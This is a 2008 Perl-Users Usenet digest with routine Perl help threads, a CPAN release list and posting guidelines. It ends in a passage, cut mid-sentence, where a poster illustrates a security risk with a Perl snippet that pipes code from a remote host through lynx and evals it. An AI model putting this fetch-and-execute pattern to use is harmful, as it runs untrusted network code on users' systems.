[30249] in Perl-Users-Digest
Perl-Users Digest, Issue: 1492 Volume: 11
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Apr 29 06:10:11 2008
Date: Tue, 29 Apr 2008 03:09:13 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Tue, 29 Apr 2008 Volume: 11 Number: 1492
Today's topics:
Re: ATTN: Lawyers prosecuters media and programmers (I <gordon.mcvey@ntlworld.com>
Re: ATTN: Lawyers prosecuters media and programmers (I <RedGrittyBrick@SpamWeary.foo>
Re: Can't find right printf format <loipersb@gmail.com>
Re: Can't find right printf format <szrRE@szromanMO.comVE>
Re: FAQ 2.16 Where do I send bug reports? <brian.d.foy@gmail.com>
Re: FAQ 2.16 Where do I send bug reports? <szrRE@szromanMO.comVE>
Re: FAQ 3.3 Is there a Perl shell? <brian.d.foy@gmail.com>
Global symbol "%Properties" requires explicit package n <mikaelpetterson@hotmail.com>
Re: Global symbol "%Properties" requires explicit packa <bjoern@hoehrmann.de>
Re: Looking for any programmer ($850k+/yr telecommute) <not-my-email@nowhere.com>
new CPAN modules on Tue Apr 29 2008 (Randal Schwartz)
Posting Guidelines for comp.lang.perl.misc ($Revision: tadmc@seesig.invalid
Re: Regex for "at start of line OR preceded by space". dummy@phony.info
Re: untaint a hash eval <hjp-usenet2@hjp.at>
Re: Windows mail. <DaveN@DaveN.COM>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 29 Apr 2008 02:19:48 -0700 (PDT)
From: Gordon <gordon.mcvey@ntlworld.com>
Subject: Re: ATTN: Lawyers prosecuters media and programmers (I need HELP!)
Message-Id: <d030bce5-284e-4fdd-9cc7-17efb373f04c@b1g2000hsg.googlegroups.com>
On Apr 28, 1:08 pm, stop.carl....@gmail.com wrote:
> A guy named Carl is harassing me on a google groups thread
>
> http://groups.google.com/group/misc.consumers/browse_thread/thread/63...
>
> Lots of whining snipped
>
> Logan Cuurwitz
> logan.cuurw...@gmail.com - please contact me!
> P.S. Mirror on craigslist
Epic fail
------------------------------
Date: Tue, 29 Apr 2008 10:30:46 +0100
From: RedGrittyBrick <RedGrittyBrick@SpamWeary.foo>
Subject: Re: ATTN: Lawyers prosecuters media and programmers (I need HELP!)
Message-Id: <4816eac8$0$26090$db0fefd9@news.zen.co.uk>
Gordon wrote:
> On Apr 28, 1:08 pm, stop.carl....@gmail.com wrote:
>> A guy named Carl is harassing me on a google groups thread
>>
>> http://groups.google.com/group/misc.consumers/browse_thread/thread/63...
>>
>> Lots of whining snipped
>>
>> Logan Cuurwitz
>> logan.cuurw...@gmail.com - please contact me!
>> P.S. Mirror on craigslist
>
> Epic fail
I rather assumed this was "Carl" impersonating Logan in order to
discredit Logan and to trick dupes into sending Logan offensive email.
Maybe I'm being cynical?
(newsgroups untrimmed but followups set to somewhere stupid)
--
RGB
------------------------------
Date: Tue, 29 Apr 2008 08:16:32 +0200
From: Hubert Gabler <loipersb@gmail.com>
Subject: Re: Can't find right printf format
Message-Id: <4816bd40$0$2252$91cee783@newsreader01.highway.telekom.at>
>...you need to look in perldoc -f sprintf.
Thanks to all who gave me this hint. I simply overlooked the link from
printf to sprintf. I promise to read the manpages more careful in the
future before asking the experts!
Kind regards,
Hubert
------------------------------
Date: Tue, 29 Apr 2008 00:43:07 -0700
From: "szr" <szrRE@szromanMO.comVE>
Subject: Re: Can't find right printf format
Message-Id: <fv6jib034e@news4.newsguy.com>
Hubert Gabler wrote:
> Hello,
> my problem is very simple, but I cannot find the answer in "Learning
> Perl" nor in the manpages:
> Which FORMAT in printf makes the numbers 1,2,3,.. look like
> 001,002,003..? Hubert
%03d
This will give you 3 zero-padding digits (if you remove the zero from
the format, it will be the same width, but space-padded instead.)
--
szr
------------------------------
Date: Tue, 29 Apr 2008 07:00:47 +0200
From: brian d foy <brian.d.foy@gmail.com>
Subject: Re: FAQ 2.16 Where do I send bug reports?
Message-Id: <290420080700474079%brian.d.foy@gmail.com>
In article <fuvn1d0guc@news4.newsguy.com>, szr <szrRE@szromanMO.comVE>
wrote:
> PerlFAQ Server wrote:
> [...]
> > If you are posting a bug with a non-standard port (see the answer
> > to "What platforms is perl available for?"), a binary
> > distribution, or a non-standard module (such as Tk, CGI, etc),
>
> I thought CGI.pm was a standard module?
CGI.pm is a standard module. The answer can do with a rewrite, so I'll
work on that.
Thanks,
------------------------------
Date: Tue, 29 Apr 2008 00:38:06 -0700
From: "szr" <szrRE@szromanMO.comVE>
Subject: Re: FAQ 2.16 Where do I send bug reports?
Message-Id: <fv6j8v02um@news4.newsguy.com>
brian d foy wrote:
> In article <fuvn1d0guc@news4.newsguy.com>, szr <szrRE@szromanMO.comVE>
> wrote:
>
>> PerlFAQ Server wrote:
>> [...]
>>> If you are posting a bug with a non-standard port (see the answer
>>> to "What platforms is perl available for?"), a binary
>>> distribution, or a non-standard module (such as Tk, CGI, etc),
>>
>> I thought CGI.pm was a standard module?
>
> CGI.pm is a standard module. The answer can do with a rewrite, so I'll
> work on that.
>
> Thanks,
No problem, glad I could help :-)
--
szr
------------------------------
Date: Tue, 29 Apr 2008 07:01:14 +0200
From: brian d foy <brian.d.foy@gmail.com>
Subject: Re: FAQ 3.3 Is there a Perl shell?
Message-Id: <290420080701145698%brian.d.foy@gmail.com>
In article <48163bab$0$14345$e4fe514c@news.xs4all.nl>, Jo
<jo@nosp.invalid> wrote:
> PerlFAQ Server said:
> > http://zoidberg.sf.net/
>
> Redirects to an Apache test page.
I'll look into this and make the appropriate fix.
Thanks,
------------------------------
Date: Tue, 29 Apr 2008 01:55:44 -0700 (PDT)
From: mike <mikaelpetterson@hotmail.com>
Subject: Global symbol "%Properties" requires explicit package name
Message-Id: <302a8fd3-e205-4628-825c-3af0d5b03a67@m44g2000hsc.googlegroups.com>
Hi,
I have declared my %Properties but I get the following when I execute:
Global symbol "%Properties" requires explicit package name at test.pl
line 62.
Global symbol "%Properties" requires explicit package name at test.pl
line 67.
Global symbol "%Properties" requires explicit package name at test.pl
line 69.
Global symbol "%Properties" requires explicit package name at test.pl
line 71.
Global symbol "%Properties" requires explicit package name at test.pl
line 72.
Global symbol "%Properties" requires explicit package name at test.pl
line 73.
I have noted the lines in the code below.
Do I have to make some declaration within the sub?
cheers,
//mike
***********************************************************************************************
use strict;
use warnings;
my $verbose = 0;
my $info = "[INFO] :";
my $error = "[ERROR]:";
my $configFile;
####################### Subroutines #######################
sub useage (){
print "Useage: perl rdeploy [ -file <config.dat path> ]\n";
exit 1;
}
sub readConfig {
print "Reading configuration data ...\n";
open FILE, "$configFile" or die "$error Could not open file
$configFile:$! ";
my %props = ();
while (<FILE>) {
s/\s+$//;# Remove all \r, \n, ^M from end of line
next if (/^$/);# ignore null lines
next if (/^\s*#/); # ignore comment line.
my ($config_name,$config_val)=split(/\s*=\s*/, $_,2);# Split the
line
$props{$config_name}=$config_val;
$verbose && print "$config_name\n";
}
close FILE;
return %props;
}
sub deploy {
my ($domain,$ear,$port) = @_;
#exit 1;
print "Make sure sailfin is started ...\n";
62: my @startargs = ($Properties{asadminexecutable},
'start-domain',
$domain);
system(@startargs) == 0 or die "system @startargs failed: $?";
67:print "Deploying $ear on $domain on HOST: $Properties{host} ....
\n";
69:my @deployargs = ($Properties{asadminexecutable},
'deploy',
71: "--user=$Properties{user}",
72: "--passwordfile=$Properties{passwordfile}",
73: "--host=$Properties{host}",
"--port=$port",
"$ear");
system(@deployargs) == 0 or die "system @deployargs failed: $?";
if ($? == -1) {
print "failed to execute: $!\n";
}
elsif ($? & 127) {
printf "child died with signal %d, %s coredump\n",
($? & 127), ($? & 128) ? 'with' : 'without';
}
else {
printf "child exited with value %d\n", $? >> 8;
}
}
#################################### Start Main
#######################################
# Checking arguments #
my $arg = @ARGV;
if ($arg > 0){
if($ARGV[0] =~ /-file/i){
$configFile=$ARGV[1];
}else{
&useage();
}
}else{
print "Using default config.dat in current in same directory as this
script!\n";
$configFile="config.dat";
}
my %Properties = &readConfig();
#Check that password file exists
print "Checking for passwordfile ...\n";
my $file = $Properties{passwordfile};
if(! -f $file ){
print "$error password file, $file, does not exist!";
exit 1;
}
#Deploy on both domains
deploy($Properties{domain1},$Properties{port1},
$Properties{frontenddeployunit});
deploy($Properties{domain2},$Properties{port2},
$Properties{backenddeployunit});
------------------------------
Date: Tue, 29 Apr 2008 11:06:26 +0200
From: Bjoern Hoehrmann <bjoern@hoehrmann.de>
Subject: Re: Global symbol "%Properties" requires explicit package name
Message-Id: <k1pd149tmll7b0g1s8do0v4g8oskbb54o8@hive.bjoern.hoehrmann.de>
* mike wrote in comp.lang.perl.misc:
>I have declared my %Properties but I get the following when I execute:
>
>Global symbol "%Properties" requires explicit package name at test.pl
>line 62.
>Do I have to make some declaration within the sub?
When checking whether your variables have been declared prior to their
use, perl checks how they occur in the source code, it ignores how the
program would be executed. You have to declare %Properties before any
use of it can be seen in the source code.
--
Björn Höhrmann · mailto:bjoern@hoehrmann.de · http://bjoern.hoehrmann.de
Weinh. Str. 22 · Telefon: +49(0)621/4309674 · http://www.bjoernsworld.de
68309 Mannheim · PGP Pub. KeyID: 0xA4357E78 · http://www.websitedev.de/
------------------------------
Date: Tue, 29 Apr 2008 13:48:18 +0500
From: "Cosmic programmer" <not-my-email@nowhere.com>
Subject: Re: Looking for any programmer ($850k+/yr telecommute)
Message-Id: <fv6ncp$o7q$1@registered.motzarella.org>
"Ubersite" <b.cilfone.uber@googlemail.com> wrote in message
news:8bf1b1f4-27e0-42c9-a5e3-9a69028a1500@34g2000hsf.googlegroups.com...
> www.ubersite.com - Future of media.
>
>
> What do you think of it? Will you join?
I didn't find any link on that site.
------------------------------
Date: Tue, 29 Apr 2008 04:42:17 GMT
From: merlyn@stonehenge.com (Randal Schwartz)
Subject: new CPAN modules on Tue Apr 29 2008
Message-Id: <K02L2H.24Ht@zorch.sf-bay.org>
The following modules have recently been added to or updated in the
Comprehensive Perl Archive Network (CPAN). You can install them using the
instructions in the 'perlmodinstall' page included with your Perl
distribution.
AnyEvent-3.3
http://search.cpan.org/~mlehmann/AnyEvent-3.3/
provide framework for multiple event loops
----
App-ConPalette-0.1.2
http://search.cpan.org/~hinrik/App-ConPalette-0.1.2/
----
Archive-Lha-0.03
http://search.cpan.org/~ishigaki/Archive-Lha-0.03/
extract .LZH archives
----
Bluepay-Bluepay20post-0.01
http://search.cpan.org/~cpkois/Bluepay-Bluepay20post-0.01/
----
Bundle-Net-SNMP-Mixin-0.10
http://search.cpan.org/~gaissmai/Bundle-Net-SNMP-Mixin-0.10/
A bundle for Net::SNMP::Mixins
----
CPAN-Faker-0.003
http://search.cpan.org/~rjbs/CPAN-Faker-0.003/
build a bogus CPAN instance for testing
----
Class-MOP-0.55
http://search.cpan.org/~stevan/Class-MOP-0.55/
A Meta Object Protocol for Perl 5
----
ClearPress-146
http://search.cpan.org/~rpettett/ClearPress-146/
Simple, fresh & fruity MVC framework
----
Config-JFDI-0.02
http://search.cpan.org/~rkrimen/Config-JFDI-0.02/
Just * Do it: A Catalyst::Plugin::ConfigLoader-style layer over Config::Any
----
Crypt-ECDSA-0.065
http://search.cpan.org/~billh/Crypt-ECDSA-0.065/
Elliptical Cryptography Digital Signature Algorithm
----
DBD-Pg-2.6.1_1
http://search.cpan.org/~turnstep/DBD-Pg-2.6.1_1/
PostgreSQL database driver for the DBI module
----
DBIx-Class-Schema-Slave-0.01101
http://search.cpan.org/~travail/DBIx-Class-Schema-Slave-0.01101/
DBIx::Class::Schema for slave (EXPERIMENTAL)
----
DBIx-DataAudit-0.05
http://search.cpan.org/~corion/DBIx-DataAudit-0.05/
summarize column data for a table
----
DBIx-EnumConstraints-0.05
http://search.cpan.org/~bosu/DBIx-EnumConstraints-0.05/
generates enum-like SQL constraints.
----
File-HomeDir-0.71_02
http://search.cpan.org/~adamk/File-HomeDir-0.71_02/
Find your home and other directories, on any platform
----
File-Tail-Multi-0.1
http://search.cpan.org/~atripps/File-Tail-Multi-0.1/
Perl extension to a stateful tail of multiple files for Unix systems
----
HTML-ReplacePictogramMobileJp-0.05
http://search.cpan.org/~tokuhirom/HTML-ReplacePictogramMobileJp-0.05/
HTML ?????????????
----
HTML-ReplacePictogramMobileJp-0.06
http://search.cpan.org/~tokuhirom/HTML-ReplacePictogramMobileJp-0.06/
HTML ?????????????
----
Ham-Callsign-0.2
http://search.cpan.org/~hardaker/Ham-Callsign-0.2/
----
IO-Plumbing-0.02
http://search.cpan.org/~samv/IO-Plumbing-0.02/
pluggable, lazy access to system commands
----
JS-YUI-Loader-0.01
http://search.cpan.org/~rkrimen/JS-YUI-Loader-0.01/
Load (and cache) the Yahoo YUI framework
----
JS-YUI-Loader-0.02
http://search.cpan.org/~rkrimen/JS-YUI-Loader-0.02/
Load (and cache) the Yahoo YUI framework
----
Jemplate-0.21
http://search.cpan.org/~ingy/Jemplate-0.21/
JavaScript Templating with Template Toolkit
----
Kephra-0.3.8_14
http://search.cpan.org/~lichtkind/Kephra-0.3.8_14/
----
Log-Dispatch-Array-1.000
http://search.cpan.org/~rjbs/Log-Dispatch-Array-1.000/
log events to an array (reference)
----
Lyrics-Fetcher-LyricsDownload-0.01
http://search.cpan.org/~rabuspa/Lyrics-Fetcher-LyricsDownload-0.01/
Get song lyrics from lyricsdownload.com
----
Mail-Box-2.082
http://search.cpan.org/~markov/Mail-Box-2.082/
manage a mailbox, a folder with messages
----
Mail-IMAPClient-3.07
http://search.cpan.org/~markov/Mail-IMAPClient-3.07/
An IMAP Client API
----
Moose-0.41
http://search.cpan.org/~stevan/Moose-0.41/
A postmodern object system for Perl 5
----
Moose-Autobox-0.07
http://search.cpan.org/~stevan/Moose-Autobox-0.07/
Autoboxed wrappers for Native Perl datatypes
----
Muldis-D-0.27.0
http://search.cpan.org/~duncand/Muldis-D-0.27.0/
Formal spec of Muldis D relational DBMS lang
----
POE-Component-MessageQueue-0.2.1
http://search.cpan.org/~dsnopek/POE-Component-MessageQueue-0.2.1/
A POE message queue that uses STOMP for its communication protocol
----
Portable-0.05
http://search.cpan.org/~adamk/Portable-0.05/
Perl on a Stick (EXPERIMENTAL)
----
Prima-1.26
http://search.cpan.org/~karasik/Prima-1.26/
a perl graphic toolkit
----
Prima-codecs-win32-1.01
http://search.cpan.org/~karasik/Prima-codecs-win32-1.01/
----
RT-Crypt-SMIME-0.22
http://search.cpan.org/~jesse/RT-Crypt-SMIME-0.22/
An RT extension to perform S/MIME encryption and decryption for mail RT sends
----
SVG-TT-Graph-0.10
http://search.cpan.org/~llap/SVG-TT-Graph-0.10/
Base object for generating SVG Graphs
----
Search-Google-1.0.3
http://search.cpan.org/~ejs/Search-Google-1.0.3/
search Google using the REST (aka AJAX) API
----
Search-Google-1.0.4
http://search.cpan.org/~ejs/Search-Google-1.0.4/
search Google using the REST (aka AJAX) API
----
Search-Google-1.0.5
http://search.cpan.org/~ejs/Search-Google-1.0.5/
search Google using the REST (aka AJAX) API
----
Sub-Contract-0.02
http://search.cpan.org/~erwan/Sub-Contract-0.02/
----
Text-CSV-BulkData-0.06
http://search.cpan.org/~sera/Text-CSV-BulkData-0.06/
generate csv file with bulk data
----
VMPS-Server-0.04
http://search.cpan.org/~kbrint/VMPS-Server-0.04/
VLAN Membership Policy Server
----
WebService-Simple-Google-Chart-0.02
http://search.cpan.org/~yusukebe/WebService-Simple-Google-Chart-0.02/
Get Google Chart URL and image file
----
Win32-Printer-0.9.1
http://search.cpan.org/~wasx/Win32-Printer-0.9.1/
Perl extension for Win32 printing
----
ZML-0.2.0
http://search.cpan.org/~vvelox/ZML-0.2.0/
A simple, fast, and easy to read binary data storage format.
----
ZipTie-Client-1.1
http://search.cpan.org/~lbayer/ZipTie-Client-1.1/
Webservice client for the ZipTie server
----
ZipTie-Client-1.2
http://search.cpan.org/~lbayer/ZipTie-Client-1.2/
Webservice client for the ZipTie server
----
o2sms-3.28
http://search.cpan.org/~mackers/o2sms-3.28/
A module to send SMS messages using the website of O2 Ireland
If you're an author of one of these modules, please submit a detailed
announcement to comp.lang.perl.announce, and we'll pass it along.
This message was generated by a Perl program described in my Linux
Magazine column, which can be found on-line (along with more than
200 other freely available past column articles) at
http://www.stonehenge.com/merlyn/LinuxMag/col82.html
print "Just another Perl hacker," # the original
--
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!
------------------------------
Date: Tue, 29 Apr 2008 06:19:49 GMT
From: tadmc@seesig.invalid
Subject: Posting Guidelines for comp.lang.perl.misc ($Revision: 1.8 $)
Message-Id: <96zRj.3623$LQ4.2001@newssvr11.news.prodigy.net>
Outline
Before posting to comp.lang.perl.misc
Must
- Check the Perl Frequently Asked Questions (FAQ)
- Check the other standard Perl docs (*.pod)
Really Really Should
- Lurk for a while before posting
- Search a Usenet archive
If You Like
- Check Other Resources
Posting to comp.lang.perl.misc
Is there a better place to ask your question?
- Question should be about Perl, not about the application area
How to participate (post) in the clpmisc community
- Carefully choose the contents of your Subject header
- Use an effective followup style
- Speak Perl rather than English, when possible
- Ask perl to help you
- Do not re-type Perl code
- Provide enough information
- Do not provide too much information
- Do not post binaries, HTML, or MIME
Social faux pas to avoid
- Asking a Frequently Asked Question
- Asking a question easily answered by a cursory doc search
- Asking for emailed answers
- Beware of saying "doesn't work"
- Sending a "stealth" Cc copy
Be extra cautious when you get upset
- Count to ten before composing a followup when you are upset
- Count to ten after composing and before posting when you are upset
-----------------------------------------------------------------
Posting Guidelines for comp.lang.perl.misc ($Revision: 1.8 $)
This newsgroup, commonly called clpmisc, is a technical newsgroup
intended to be used for discussion of Perl related issues (except job
postings), whether it be comments or questions.
As you would expect, clpmisc discussions are usually very technical in
nature and there are conventions for conduct in technical newsgroups
going somewhat beyond those in non-technical newsgroups.
The article at:
http://www.catb.org/~esr/faqs/smart-questions.html
describes how to get answers from technical people in general.
This article describes things that you should, and should not, do to
increase your chances of getting an answer to your Perl question. It is
available in POD, HTML and plain text formats at:
http://www.rehabitation.com/clpmisc.shtml
For more information about netiquette in general, see the "Netiquette
Guidelines" at:
http://andrew2.andrew.cmu.edu/rfc/rfc1855.html
A note to newsgroup "regulars":
Do not use these guidelines as a "license to flame" or other
meanness. It is possible that a poster is unaware of things
discussed here. Give them the benefit of the doubt, and just
help them learn how to post, rather than assume that they do
know and are being the "bad kind" of Lazy.
A note about technical terms used here:
In this document, we use words like "must" and "should" as
they're used in technical conversation (such as you will
encounter in this newsgroup). When we say that you *must* do
something, we mean that if you don't do that something, then
it's unlikely that you will benefit much from this group.
We're not bossing you around; we're making the point without
lots of words.
Do *NOT* send email to the maintainer of these guidelines. It will be
discarded unread. The guidelines belong to the newsgroup so all
discussion should appear in the newsgroup. I am just the secretary that
writes down the consensus of the group.
Before posting to comp.lang.perl.misc
Must
This section describes things that you *must* do before posting to
clpmisc, in order to maximize your chances of getting meaningful replies
to your inquiry and to avoid getting flamed for being lazy and trying to
have others do your work.
The perl distribution includes documentation that is copied to your hard
drive when you install perl. Also installed is a program for looking
things up in that (and other) documentation named 'perldoc'.
You should either find out where the docs got installed on your system,
or use perldoc to find them for you. Type "perldoc perldoc" to learn how
to use perldoc itself. Type "perldoc perl" to start reading Perl's
standard documentation.
Check the Perl Frequently Asked Questions (FAQ)
Checking the FAQ before posting is required in Big 8 newsgroups in
general, there is nothing clpmisc-specific about this requirement.
You are expected to do this in nearly all newsgroups.
You can use the "-q" switch with perldoc to do a word search of the
questions in the Perl FAQs.
Check the other standard Perl docs (*.pod)
The perl distribution comes with much more documentation than is
available for most other newsgroups, so in clpmisc you should also
see if you can find an answer in the other (non-FAQ) standard docs
before posting.
It is *not* required, or even expected, that you actually *read* all of
Perl's standard docs, only that you spend a few minutes searching them
before posting.
Try doing a word-search in the standard docs for some words/phrases
taken from your problem statement or from your very carefully worded
"Subject:" header.
Really Really Should
This section describes things that you *really should* do before posting
to clpmisc.
Lurk for a while before posting
This is very important and expected in all newsgroups. Lurking means
to monitor a newsgroup for a period to become familiar with local
customs. Each newsgroup has specific customs and rituals. Knowing
these before you participate will help avoid embarrassing social
situations. Consider yourself to be a foreigner at first!
Search a Usenet archive
There are tens of thousands of Perl programmers. It is very likely
that your question has already been asked (and answered). See if you
can find where it has already been answered.
One such searchable archive is:
http://groups.google.com/advanced_group_search
If You Like
This section describes things that you *can* do before posting to
clpmisc.
Check Other Resources
You may want to check in books or on web sites to see if you can
find the answer to your question.
But you need to consider the source of such information: there are a
lot of very poor Perl books and web sites, and several good ones
too, of course.
Posting to comp.lang.perl.misc
There can be 200 messages in clpmisc in a single day. Nobody is going to
read every article. They must decide somehow which articles they are
going to read, and which they will skip.
Your post is in competition with 199 other posts. You need to "win"
before a person who can help you will even read your question.
These sections describe how you can help keep your article from being
one of the "skipped" ones.
Is there a better place to ask your question?
Question should be about Perl, not about the application area
It can be difficult to separate out where your problem really is,
but you should make a conscious effort to post to the most
applicable newsgroup. That is, after all, where you are the most
likely to find the people who know how to answer your question.
Being able to "partition" a problem is an essential skill for
effectively troubleshooting programming problems. If you don't get
that right, you end up looking for answers in the wrong places.
It should be understood that you may not know that the root of your
problem is not Perl-related (the two most frequent ones are CGI and
Operating System related), so off-topic postings will happen from
time to time. Be gracious when someone helps you find a better place
to ask your question by pointing you to a more applicable newsgroup.
How to participate (post) in the clpmisc community
Carefully choose the contents of your Subject header
You have 40 precious characters of Subject to win out and be one of
the posts that gets read. Don't waste them. Take care while
composing them, they are the key that opens the door to getting an
answer.
Spend them indicating what aspect of Perl others will find if they
should decide to read your article.
Do not spend them indicating "experience level" (guru, newbie...).
Do not spend them pleading (please read, urgent, help!...).
Do not spend them on non-Subjects (Perl question, one-word
Subject...)
For more information on choosing a Subject see "Choosing Good
Subject Lines":
http://www.cpan.org/authors/id/D/DM/DMR/subjects.post
Part of the beauty of newsgroup dynamics, is that you can contribute
to the community with your very first post! If your choice of
Subject leads a fellow Perler to find the thread you are starting,
then even asking a question helps us all.
Use an effective followup style
When composing a followup, quote only enough text to establish the
context for the comments that you will add. Always indicate who
wrote the quoted material. Never quote an entire article. Never
quote a .signature (unless that is what you are commenting on).
Intersperse your comments *following* each section of quoted text to
which they relate. Unappreciated followup styles are referred to as
"top-posting", "Jeopardy" (because the answer comes before the
question), or "TOFU" (Text Over, Fullquote Under).
Reversing the chronology of the dialog makes it much harder to
understand (some folks won't even read it if written in that style).
For more information on quoting style, see:
http://web.presby.edu/~nnqadmin/nnq/nquote.html
Speak Perl rather than English, when possible
Perl is much more precise than natural language. Saying it in Perl
instead will avoid misunderstanding your question or problem.
Do not say: I have variable with "foo\tbar" in it.
Instead say: I have $var = "foo\tbar", or I have $var = 'foo\tbar',
or I have $var = <DATA> (and show the data line).
Ask perl to help you
You can ask perl itself to help you find common programming mistakes
by doing two things: enable warnings (perldoc warnings) and enable
"strict"ures (perldoc strict).
You should not bother the hundreds/thousands of readers of the
newsgroup without first seeing if a machine can help you find your
problem. It is demeaning to be asked to do the work of a machine. It
will annoy the readers of your article.
You can look up any of the messages that perl might issue to find
out what the message means and how to resolve the potential mistake
(perldoc perldiag). If you would like perl to look them up for you,
you can put "use diagnostics;" near the top of your program.
Do not re-type Perl code
Use copy/paste or your editor's "import" function rather than
attempting to type in your code. If you make a typo you will get
followups about your typos instead of about the question you are
trying to get answered.
Provide enough information
If you do the things in this item, you will have an Extremely Good
chance of getting people to try and help you with your problem!
These features are a really big bonus toward your question winning
out over all of the other posts that you are competing with.
First make a short (less than 20-30 lines) and *complete* program
that illustrates the problem you are having. People should be able
to run your program by copy/pasting the code from your article. (You
will find that doing this step very often reveals your problem
directly. Leading to an answer much more quickly and reliably than
posting to Usenet.)
Describe *precisely* the input to your program. Also provide example
input data for your program. If you need to show file input, use the
__DATA__ token (perldata.pod) to provide the file contents inside of
your Perl program.
Show the output (including the verbatim text of any messages) of
your program.
Describe how you want the output to be different from what you are
getting.
If you have no idea at all of how to code up your situation, be sure
to at least describe the 2 things that you *do* know: input and
desired output.
Do not provide too much information
Do not just post your entire program for debugging. Most especially
do not post someone *else's* entire program.
Do not post binaries, HTML, or MIME
clpmisc is a text only newsgroup. If you have images or binaries
that explain your question, put them in a publically accessible
place (like a Web server) and provide a pointer to that location. If
you include code, cut and paste it directly in the message body.
Don't attach anything to the message. Don't post vcards or HTML.
Many people (and even some Usenet servers) will automatically filter
out such messages. Many people will not be able to easily read your
post. Plain text is something everyone can read.
Social faux pas to avoid
The first two below are symptoms of lots of FAQ asking here in clpmisc.
It happens so often that folks will assume that it is happening yet
again. If you have looked but not found, or found but didn't understand
the docs, say so in your article.
Asking a Frequently Asked Question
It should be understood that you may have missed the applicable FAQ
when you checked, which is not a big deal. But if the Frequently
Asked Question is worded similar to your question, folks will assume
that you did not look at all. Don't become indignant at pointers to
the FAQ, particularly if it solves your problem.
Asking a question easily answered by a cursory doc search
If folks think you have not even tried the obvious step of reading
the docs applicable to your problem, they are likely to become
annoyed.
If you are flamed for not checking when you *did* check, then just
shrug it off (and take the answer that you got).
Asking for emailed answers
Emailed answers benefit one person. Posted answers benefit the
entire community. If folks can take the time to answer your
question, then you can take the time to go get the answer in the
same place where you asked the question.
It is OK to ask for a *copy* of the answer to be emailed, but many
will ignore such requests anyway. If you munge your address, you
should never expect (or ask) to get email in response to a Usenet
post.
Ask the question here, get the answer here (maybe).
Beware of saying "doesn't work"
This is a "red flag" phrase. If you find yourself writing that,
pause and see if you can't describe what is not working without
saying "doesn't work". That is, describe how it is not what you
want.
Sending a "stealth" Cc copy
A "stealth Cc" is when you both email and post a reply without
indicating *in the body* that you are doing so.
Be extra cautious when you get upset
Count to ten before composing a followup when you are upset
This is recommended in all Usenet newsgroups. Here in clpmisc, most
flaming sub-threads are not about any feature of Perl at all! They
are most often for what was seen as a breach of netiquette. If you
have lurked for a bit, then you will know what is expected and won't
make such posts in the first place.
But if you get upset, wait a while before writing your followup. I
recommend waiting at least 30 minutes.
Count to ten after composing and before posting when you are upset
After you have written your followup, wait *another* 30 minutes
before committing yourself by posting it. You cannot take it back
once it has been said.
AUTHOR
Tad McClellan and many others on the comp.lang.perl.misc newsgroup.
--
Tad McClellan
email: perl -le "print scalar reverse qq/moc.noitatibaher\100cmdat/"
------------------------------
Date: Mon, 28 Apr 2008 22:28:52 -0700
From: dummy@phony.info
Subject: Re: Regex for "at start of line OR preceded by space".
Message-Id: <rfcd14lu9jabth5ofdo6787vjgrccv33qo@4ax.com>
On Mon, 28 Apr 2008 08:50:53 GMT, "A. Sinan Unur"
<1usa@llenroc.ude.invalid> wrote:
>dummy@phony.info wrote in
>news:9o0b141g8e2ivkr4busd3eb60mc0bq6c6m@4ax.com:
>
>> On Sun, 27 Apr 2008 23:46:31 GMT, "A. Sinan Unur"
>> <1usa@llenroc.ude.invalid> wrote:
>>
>>>"Robbie Hatley" <lonewolf@well.com> wrote in news:qf6dnbLkeM-
>>>1h4nVnZ2dnUVZ_vOdnZ2d@giganews.com:
>>>
>>>> I needed a regex that says "either at the start of a line, OR
>>>> preceded by some whitespace".
>>>
>>>The only difference between this criterion and "preceded by
>>>whitespace" can occur at the beginning of the string. Therefore:
>>>
>>>#!/usr/bin/perl
>>>
>>>my $x = <<EOSTR;
>>>Test1 Test2
>>> Test3 Test4 Test5
>>> Test6
>>>Test7 Test8
>>>Test9
>>> Test0a
>>>
>>>EOSTR
>>>
>>>print "$1\n" while $x =~ /(?:\A|\s+)(\S+)/g ;
>>
>> On my XP machine that produces:
>> Test1
>> Test2
>> Test3
>> Test4
>> Test5
>> Test6
>> Test7
>> Test8
>> Test9
>> Test0a
>>
>> But this:
>>
>> use strict; use warnings;
>> while (<DATA>) {
>> print "$1\n" if /^\s*(\S+)(?:\s|$)/;
>> }
>> __DATA__
>> Test1 Test2
>> Test3 Test4 Test5
>> Test6
>> Test7 Test8
>> Test9
>> Test0a
>>
>> Gives:
>> Test1
>> Test3
>> Test6
>> Test7
>> Test9
>> Test0a
>>
>> which I think is better?
>
>How can that be better?
>
>Read the OP's criterion again:
>
>>>> I needed a regex that says "either at the start of a line, OR
>>>> preceded by some whitespace".
>
>Yours misses Test2, Test4, Test5 and Test8 which are all preceded by
>whitespace.
>
>Sinan
OOPS!
------------------------------
Date: Tue, 29 Apr 2008 08:04:15 +0200
From: "Peter J. Holzer" <hjp-usenet2@hjp.at>
Subject: Re: untaint a hash eval
Message-Id: <slrng1deiv.odq.hjp-usenet2@hrunkner.hjp.at>
On 2008-04-27 02:09, Ben Bullock <benkasminbullock@gmail.com> wrote:
> On Sun, 27 Apr 2008 00:45:39 +0000, xhoster wrote:
>> Ben Bullock <benkasminbullock@gmail.com> wrote:
>>> Assuming you actually care about the security of your script, the
>>> untainting should be done before you "eval" the thing you've read in.
>>> Otherwise, the above is probably the single most insecure thing you can
>>> do in a Perl script.
>>
>> Hardly. It reads and executes some file, presumably from some disk.
>
> #!/usr/bin/perl
> use warnings;
> use strict;
> my $configFile = "lynx -dump http://www.xhoster.com/some.pl |";
> if ( open( CONFIG, "$configFile" ) ) {
> my $readConfig = "";
> while ( <CONFIG> ) { $readConfig .= $_; }
> eval $readConfig;
> }
This is about the same as:
wget ://www.xhoster.com/some.pl
perl some.pl
>> But what is his initial program itself?
>> Some file from some disk, most likely. If the evil-doer can put
>> something malicious in one file on the disk, why can't they put
>> something malicious into the main file and be done with it?
>
> If the evil-doer has control of the value of $configFile, he can do
> anything which the script has the power to do, and the point where the
